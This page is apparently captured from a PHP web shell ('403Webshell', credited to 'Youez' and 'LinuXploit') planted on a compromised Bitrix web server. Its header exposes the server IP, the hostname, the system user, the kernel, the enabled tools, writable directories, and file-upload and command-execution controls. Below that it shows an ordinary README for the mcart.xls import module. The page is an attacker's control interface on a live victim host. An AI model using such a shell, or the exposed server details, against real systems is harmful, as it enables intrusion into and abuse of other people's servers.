403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/mcart.xls/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/mcart.xls/README.md
# README #

http://marketplace.1c-bitrix.ru/solutions/mcart.xls/

## Software requirements ##

* PHP version 5.6 or newer
* PHP extension php_zip enabled
* PHP extension php_xml enabled
* PHP extension php_gd2 enabled (if not compiled in)

## Events ##


### onBeforeImportElement ###

Event parameters:

* array arFields
* array arProfile
* array arDefaultValues
* array arColumnsKeys
* array arColumnsByKeys
* array PhpOffice\PhpSpreadsheet\Cell\Cell   arCells
* int ELEMENT_ID

Result parameters:

* array arFields

Example:

```php
$eventManager = Bitrix\Main\EventManager::getInstance();
$eventManager->addEventHandler('mcart.xls', 'onBeforeImportElement', function (\Bitrix\Main\Event $event){
    $arFields = $event->getParameters()['arFields'];
    $arFields[Mcart\Xls\ORM\Profile\ColumnTable::SAVE_IN_PREF__FIELD]['NAME'] .= ' (test)';
    $result = new \Bitrix\Main\EventResult(1, $arFields);
    return $result;
});
```


### onAfterImportElement ###

Event parameters:

* array arFields
* array arProfile
* array arDefaultValues
* array arColumnsKeys
* array arColumnsByKeys
* array PhpOffice\PhpSpreadsheet\Cell\Cell arCells
* int ELEMENT_ID


### onAfterImportStep ###

Event parameters:

* array arProfile
* array arDefaultValues
* array arColumnsKeys
* array arColumnsByKeys
* array addedElementIds
* array updatedElementIds
* int processedRows


### onCompleteImport ###

Event parameters:

* array arProfile
* array arDefaultValues
* array arColumnsKeys
* array arColumnsByKeys
* int processedRows


Youez - 2016 - github.com/yon3zu
LinuXploit